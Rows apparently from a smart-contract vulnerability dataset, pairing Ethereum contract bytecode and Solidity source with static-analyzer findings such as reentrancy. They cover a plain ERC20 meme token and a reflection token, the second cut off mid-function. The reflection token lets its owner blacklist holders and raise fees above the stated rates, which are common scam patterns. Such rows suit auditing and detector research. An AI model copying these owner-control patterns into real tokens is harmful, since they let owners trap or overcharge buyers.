906101000a900461ffff1661ffff1682828151811061185957fe5b60200260200101818152505080806001019150506117b8565b600082818054806020026020016040519081016040528092919081815260200182805480156118f657602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190600101908083116118ac575b505050505091509350935050509091565b6000336000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900461ffff1661ffff16116119d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f4339384d5369473a204e6f7420616e206f776e6572000000000000000000000081525060200191505060405180910390fd5b600060086040518060800160405290816000820160009054906101000a900463ffffffff1663ffffffff1663ffffffff1681526020016000820160049054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff16815260200160008201600c9054906101000a900461ffff1661ffff1661ffff16815260200160008201600e9054906101000a900461ffff1661ffff1661ffff168152505090506000816000015163ffffffff1614611afa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f4339384d5369473a20526571756573742070656e64696e67000000000000000081525060200191505060405180910390fd5b611b0261261c565b86816000019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050858160200181815250508481604001819052506001600360009054906101000a900463ffffffff1601826000019063ffffffff16908163ffffffff168152505042826020019067ffffffffffffffff16908167ffffffffffffffff1681525050600260000160009054906101000a900461ffff16826060019061ffff16908161ffff168152505080600460008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550602082015181600101556040820151816002019080519060200190611c31929190612653565b509050508160000151600360006101000a81548163ffffffff021916908363ffffffff16021790555081600860008201518160000160006101000a81548163ffffffff021916908363ffffffff16021790555060208201518160000160046101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550604082015181600001600c6101000a81548161ffff021916908361ffff160217905550606082015181600001600e6101000a81548161ffff021916908361ffff160217905550905050611d046109b6565b50806000015173ffffffffffffffffffffffffffffffffffffffff167f1546406c35d50a4ef123b4a0cf8abfeac91b8bf04b58569828c504d81b73725783600001518360200151846040015186604001518760600151604051808663ffffffff168152602001858152602001806020018461ffff1681526020018361ffff168152602001828103825285818151815260200191508051906020019080838360005b83811015611dc0578082015181840152602081019050611da5565b50505050905090810190601f168015611ded5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a2600193505050509392505050565b600060026040518060400160405290816000820160009054906101000a900461ffff1661ffff1661ffff1681526020016000820160029054906101000a900461ffff1661ffff1661ffff1681525050905060005b845181101561224c576000858281518110611e7757fe5b602002602001015190506000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900461ffff1690506000868481518110611ee157fe5b602002602001015190506101008161ffff161115611f67576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f4339384d5369473a20496e76616c69642076526174650000000000000000000081525060200191505060405180910390fd5b60008261ffff1611156121565760008161ffff1614156121375760005b600080549050811015612135578373ffffffffffffffffffffffffffffffffffffffff1660008281548110611fb557fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156121285760006001600080549050038154811061201157fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000828154811061204957fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600080548061209c57fe5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690559055600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81549063ffffffff0219169055612135565b8080600101915050611f84565b505b81856020018181510391509061ffff16908161ffff16815250506121c8565b60008161ffff1611156121c7576000839080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548161ffff021916908361ffff16021790555080856020018181510191509061ffff16908161ffff16815250505050508080600101915050611e60565b60008361ffff16111561226e5782826000019061ffff16908161ffff16815250505b6000808054905090506000836000015161ffff16116122f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f4339384d5369473a20496e76616c69642076526174650000000000000000000081525060200191505060405180910390fd5b826020015161ffff16836000015161ffff16111561237b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f4339384d5369473a20496e76616c69642076526174650000000000000000000081525060200191505060405180910390fd5b611000836020015161ffff1611156123fb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4339384d5369473a204d6178207765696768742072656163686564000000000081525060200191505060405180910390fd5b60008111612471576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f4339384d5369473a204174206c656173742031206f776e65720000000000000081525060200191505060405180910390fd5b60408111156124e8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f4339384d5369473a204d6178206f776e6572207265616368656400000000000081525060200191505060405180910390fd5b82600260008201518160000160006101000a81548161ffff021916908361ffff16021790555060208201518160000160026101000a81548161ffff021916908361ffff1602179055509050507f04eba5651eb98f2aa06a6942c0ef7f74b486ed22c9bdaf1c312e73305381ca46868460000151856020015160405180806020018461ffff1681526020018361ffff168152602001828103825285818151815260200191508051906020019060200280838360005b838110156125b757808201518184015260208101905061259c565b5050505090500194505050505060405180910390a1505050505050565b50805460018160011615610100020316600290046000825580601f106125fa5750612619565b601f01602090049060005260206000209081019061261891906126e1565b5b50565b6040518060600160405280600073ffffffffffffffffffffffffffffffffffffffff16815260200160008152602001606081525090565b828054600181600116156101000203166002900490600052602060002090601f01602090048101928261268957600085556126d0565b82601f106126a257805160ff19168380011785556126d0565b828001600101855582156126d0579182015b828111156126cf5782518255916020019190600101906126b4565b5b5090506126dd91906126e1565b5090565b5b808211156126fa5760008160009055506001016126e2565b509056fea2646970667358221220dfeb97cb2082b1027eeb793d606530c017136d2ac9e1ce394907e5687ea9fb9f64736f6c63430007060033a2646970667358221220ce8920b039a107128aa428baaa194a033b3a5ff5466898be498478bdae9d734b64736f6c63430007060033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}} | 10,663 |
0x4107dd3102260c77b847a8c17fc03f5a9c848321 | /**
*Submitted for verification at Etherscan.io on 2021-04-23
*/
pragma solidity ^0.8.1;
// SPDX-License-Identifier: MIT
// Felon Musk, a fun and exciting meme token. Enjoy 2021 today!
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overloaded;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
contract FELON is ERC20 {
constructor () public ERC20("Felon Musk", "FELON") {
_mint(msg.sender, 100000000 * (10 ** uint256(decimals())));
}
} | 0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461012357806370a082311461013657806395d89b4114610149578063a457c2d714610151578063a9059cbb14610164578063dd62ed3e14610177576100a9565b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100ef57806323b872dd14610101578063313ce56714610114575b600080fd5b6100b66101b0565b6040516100c391906107e5565b60405180910390f35b6100df6100da3660046107bc565b610242565b60405190151581526020016100c3565b6002545b6040519081526020016100c3565b6100df61010f366004610781565b610258565b604051601281526020016100c3565b6100df6101313660046107bc565b61030e565b6100f361014436600461072e565b610345565b6100b6610364565b6100df61015f3660046107bc565b610373565b6100df6101723660046107bc565b61040e565b6100f361018536600461074f565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6060600380546101bf90610867565b80601f01602080910402602001604051908101604052809291908181526020018280546101eb90610867565b80156102385780601f1061020d57610100808354040283529160200191610238565b820191906000526020600020905b81548152906001019060200180831161021b57829003601f168201915b5050505050905090565b600061024f33848461041b565b50600192915050565b600061026584848461053f565b6001600160a01b0384166000908152600160209081526040808320338452909152902054828110156102ef5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61030385336102fe8685610850565b61041b565b506001949350505050565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161024f9185906102fe908690610838565b6001600160a01b0381166000908152602081905260409020545b919050565b6060600480546101bf90610867565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156103f55760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016102e6565b61040433856102fe8685610850565b5060019392505050565b600061024f33848461053f565b6001600160a01b03831661047d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016102e6565b6001600160a01b0382166104de5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016102e6565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166105a35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016102e6565b6001600160a01b0382166106055760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016102e6565b6001600160a01b0383166000908152602081905260409020548181101561067d5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016102e6565b6106878282610850565b6001600160a01b0380861660009081526020819052604080822093909355908516815290812080548492906106bd908490610838565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161070991815260200190565b60405180910390a350505050565b80356001600160a01b038116811461035f57600080fd5b60006020828403121561073f578081fd5b61074882610717565b9392505050565b60008060408385031215610761578081fd5b61076a83610717565b915061077860208401610717565b90509250929050565b600080600060608486031215610795578081fd5b61079e84610717565b92506107ac60208501610717565b9150604084013590509250925092565b600080604083850312156107ce578182fd5b6107d783610717565b946020939093013593505050565b6000602080835283518082850152825b81811015610811578581018301518582016040015282016107f5565b818111156108225783604083870101525b50601f01601f1916929092016040019392505050565b6000821982111561084b5761084b6108a2565b500190565b600082821015610862576108626108a2565b500390565b600181811c9082168061087b57607f821691505b6020821081141561089c57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea2646970667358221220c5351353ddb8403a8f9b86d7919a31d9f96589a6ffd7b398bcf78a1cb0ad324f64736f6c63430008030033 | {"success": true, "error": null, "results": {}} | 10,664 |
0x9ac6008dbeb55da5d4644b72b9f778bf3371e928 | // SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
// Powered by POLKADOT
// First Doge MEME with $DOT, $AVAX and $MATIC intergration
// Staking, Bonding, Governance - $ETH, $AVAX, $MATIC rewards
// Stealth Launch!
// No Team tokens!
// Liq. locked- ownership renounce
// 50% BURNED
// 50% IN LP
// https://uglypolkadoge.finance/
// https://t.me/uglypolkadoge
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract UGPOLDOGE is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "UGPOLDOGE";
string private constant _symbol = "UPDOGE";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 10;
_teamFee = 20;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function startTrading() external onlyOwner() {
require(!tradingOpen, "trading is already started");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 50000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
